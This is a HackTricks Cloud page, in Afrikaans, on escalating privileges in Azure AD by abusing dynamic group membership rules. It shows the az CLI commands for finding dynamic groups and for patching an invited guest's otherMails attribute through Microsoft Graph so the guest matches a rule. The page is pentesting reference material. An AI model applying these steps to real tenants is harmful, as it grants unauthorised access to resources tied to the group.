Az - Dynamic Groups Privesc

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Basiese Inligting

Dinamiese groepe is groepe wat 'n stel reëls geconfigureer het en al die gebruikers of toestelle wat aan die reëls voldoen, word aan die groep bygevoeg. Elke keer as 'n gebruiker of toestel attribuut verander word, word dinamiese reëls herkontroleer. En wanneer 'n nuwe reël gecreëer word, word al die toestelle en gebruikers gekontroleer.

Dinamiese groepe kan Azure RBAC rolle aan hulle toegeken hê, maar dit is nie moontlik om AzureAD rolle aan dinamiese groepe toe te voeg nie.

Hierdie funksie vereis 'n Azure AD premium P1 lisensie.

Privesc

Let daarop dat enige gebruiker standaard gaste in Azure AD kan uitnooi, so, as 'n dinamiese groep reël toestemmings aan gebruikers gee gebaseer op attribuut wat in 'n nuwe gast gestel kan word, is dit moontlik om 'n gast te skep met hierdie attribuut en privileges te eskaleer. Dit is ook moontlik vir 'n gast om sy eie profiel te bestuur en hierdie attribuut te verander.

Kry groepe wat dinamiese lidmaatskap toelaat: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Voorbeeld

• Reël voorbeeld: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")

• Reël beskrywing: Enige Gaste gebruiker met 'n sekondêre e-pos met die string 'security' sal aan die groep bygevoeg word

Vir die Gaste gebruiker se e-pos, aanvaar die uitnodiging en kyk na die huidige instellings van daardie gebruiker in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView. Ongelukkig laat die bladsy nie toe om die attribuutwaardes te wysig nie, so ons moet die API gebruik:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["[e-mail]", "[e-mail]"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Verwysings

• https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.